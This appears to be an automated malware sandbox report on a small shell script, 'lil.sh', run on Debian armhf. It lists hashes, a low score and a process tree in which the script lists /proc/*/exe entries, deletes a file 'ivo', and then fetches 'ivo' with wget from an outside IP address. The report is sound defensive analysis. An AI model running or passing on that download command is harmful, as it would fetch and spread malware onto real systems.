5eb2f5249623d59cc69069ada062b35403d7bada955d978db40f09c2b20b2c52

Analysis

max time kernel
142s
max time network
143s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25/07/2026, 04:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 848B
Sample260725-eqfjfscl41
SHA256 5eb2f5249623d59cc69069ada062b35403d7bada955d978db40f09c2b20b2c52
MD5 7127f076a99bcd294d50ac4deb707915
SHA1 17d33eaa2c360c36c5c1bc112add9454af1c77f2
SHA512 cf107fb5d538687f97f1c7138b1a22a7a3d813a3dbfaab1a22b0145b458ec6672410cf85ae34098375787e7e11bad48ab93836c9f18f431abaca6bc4416af84c
TLSH
T1C901AFCE8500A91080D9D92C25D76159F410C3CE158A4F69BF6C6E3EEB49D14F076FD4
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/lil.sh
/tmp/lil.sh
1⤵
PID:652
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:653
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:660
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/145/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/226/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/227/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/317/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/332/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/338/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/573/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/587/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/592/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/593/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/652/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/rm
  rm -rf ivo
  2⤵
  PID:762
- /usr/bin/wget
  wget http://129.121.114.124/ivo
  2⤵
  PID:763

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads